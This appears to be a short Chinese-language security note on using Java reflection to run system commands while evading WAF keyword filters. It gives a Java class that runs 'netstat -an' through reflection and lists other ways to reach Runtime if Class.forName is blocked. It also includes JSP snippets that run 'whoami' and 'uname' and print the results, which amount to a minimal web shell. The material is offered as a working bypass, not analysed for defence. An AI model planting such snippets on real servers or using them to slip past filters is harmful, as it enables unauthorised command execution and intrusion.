Java 反射执行系统命令
某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了:Runtime.getRuntime().exec、import java.lang.reflect.*。
package org.javaweb.url; import java.io.BufferedReader; import java.io.InputStreamReader; public class z7y{ public static void main(String[] args) throws Exception { BufferedReader br = new BufferedReader(new InputStreamReader(((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{})).exec("netstat -an").getInputStream())); String str = ""; while((str=br.readLine())!=null){ System.out.println(str); } } }
Java默认导入了java.lang包,所以可以直接使用 Runtime对象,但是java.lang.reflect包需要导入,如果不想导入可以直接用间接的方式调用。如果连Class.forName也被拦截了可以改成:
String.class.getClass().forName("java.lang.Runtime")...当然,还可以用:Runtime.class 代替Class.forName("java.lang.Runtime")....如果还被拦截,可以用URLClassLoader试试绕过。
<% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine()); out.println("<hr/>"); Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{}); out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("uname").getInputStream())).readLine()); %>
如果只想执行,不想看结果:
<%Runtime.getRuntime().exec("whoami");%>